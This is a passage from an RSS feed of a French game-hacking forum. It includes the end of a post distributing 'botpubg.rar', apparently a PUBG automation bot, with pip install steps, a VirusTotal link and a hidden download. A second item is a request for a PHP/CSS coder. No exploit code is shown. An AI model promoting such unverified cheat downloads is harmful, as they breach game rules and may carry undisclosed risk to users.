<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">Ouvrez le cmd de python en administrateur et entrez les commandes ci-dessous une par une:</span></span></span></span></div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">[b]<span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">py -m pip install pyautogui<br />
<br />
py -m pip install psutil<br />
<br />
py -m pip install Pillow<br />
<br />
Changer "config_1920x1080.json" ou "config_1366x768.json" à -&gt;  "config.json" dépend de votre résolution d'écran</span></span></span></span></span></span></span>[/b]</div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">[b]<span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">Ensuite, ouvrez "SuperBots" sélectionnez votre serveur et le mode </span></span></span></span></span></span></span>[/b]</div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">[b]<span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">Enjoy <img src="https://forum.cs-hackers.com/images/smilies/newGen/happywide.png" alt="Happywide" title="Happywide" class="smilie smilie_271" /></span></span></span></span></span></span></span>[/b]</div>
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">[b]<span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">------------------------------------------------------------</span></span></span></span></span></span></span>[/b]</div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b">Virus scan : </span><a href="https://www.virustotal.com/vi/file/f242a18bc76b41f0a6ee215ee6d97b061249e1b865e14ff07754739093f7119d/analysis/1504490666/" target="_blank" rel="noopener" class="mycode_url"><span style="color: #4b0082;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><span style="color: #284c7e;" class="mycode_color">https://www.virustotal.com/vi/file/f...is/1504490666/</span></span></span></a></span></span></span></span></span></span></div>
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Telecharger:</span></div>
[hide]<!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="Rar" border="0" alt=".rar" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=497" target="_blank" title="">botpubg.rar</a><br><i> (Taille : 5.12 Ko / Téléchargements : 3)</i> </div>
<!-- end: postbit_attachments_attachment -->[/hide]<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b">Si vous aviez des questions ou autres n'hésitez pas à me demander.</span></span></span></span></span></div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b">--------------------------</span></span></span></span></span></div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b">Image démo:  <img src="https://i.ytimg.com/vi/EZRGYZ0qEtY/maxresdefault.jpg" loading="lazy"  alt="[Image: maxresdefault.jpg]" class="mycode_img" /></span></span></span></span></span></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[CHERHCE BON CODDEUR POUR SITE!]]></title>
			<link>https://forum.cs-hackers.com/showthread.php?tid=3135</link>
			<pubDate>Fri, 18 Aug 2017 00:04:56 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.cs-hackers.com/member.php?action=profile&uid=55074">Head5K</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.cs-hackers.com/showthread.php?tid=3135</guid>
			<description><![CDATA[Bonjour a tous je cherche un bon coddeur expérimenté dans ce domaine, php,css ect ect<br />
<br />
Merci de me contacté sur Skype live:ultimate.cssv34 pour plus d'info !<br />
<hr class="mycode_hr" />
CHERCHE * C'est bon je vois arrivé tout le monde avec "OHHHH MECC TA FAIS UNE FAUTEEEE" mdr]]></description>
			<content:encoded><![CDATA[Bonjour a tous je cherche un bon coddeur expérimenté dans ce domaine, php,css ect ect<br />
<br />
Merci de me contacté sur Skype live:ultimate.cssv34 pour plus d'info !<br />
<hr class="mycode_hr" />
CHERCHE * C'est bon je vois arrivé tout le monde avec "OHHHH MECC TA FAIS UNE FAUTEEEE" mdr]]></content:encoded>
		</item>
	</channel>
</rss>